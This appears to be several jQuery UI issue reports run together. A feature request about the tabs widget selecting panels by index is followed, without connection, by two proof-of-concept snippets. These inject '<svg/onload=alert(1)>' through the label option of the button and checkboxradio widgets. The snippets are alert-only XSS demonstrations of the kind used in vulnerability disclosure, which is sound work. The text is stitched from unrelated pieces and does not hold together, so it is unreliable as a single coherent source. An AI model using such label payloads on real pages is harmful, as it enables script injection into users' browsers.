I think that tabs widget should work based on element index rather than id.

I generate multiple containers that will become tabs dinamically, and then each could also have new tabs dinamically.

This represent a problem for me because I have to add and extra logic for not to repeat IDs.

A nice workaround would be to access a div based on it's index, the same index that the list item triggers.

So if I have 5 list items (tabs) and I click on the second one, then the second div (content) should be shown...regardless of the id.

what do you think?

Proof of concept:

<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.12.4.js"></script>
<script src="//code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<button>Button label</button>

<script>
$( "button" ).button({
  label: "<svg/onload=alert(1)>"
});
</script>

Proof of concept:

<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.12.4.js"></script>
<script src="//code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<fieldset>
  <legend>Select a Location: </legend>
  <label for="radio-1">New York</label>
  <input type="radio" name="radio-1" id="radio-1">
  <label for="radio-2">Paris</label>
  <input type="radio" name="radio-1" id="radio-2">
  <label for="radio-3">London</label>
  <input type="radio" name="radio-1" id="radio-3">
</fieldset>
 <script>
$( "input[type='radio']" ).checkboxradio({
  label: "<svg/onload=alert(1)>"
});
</script>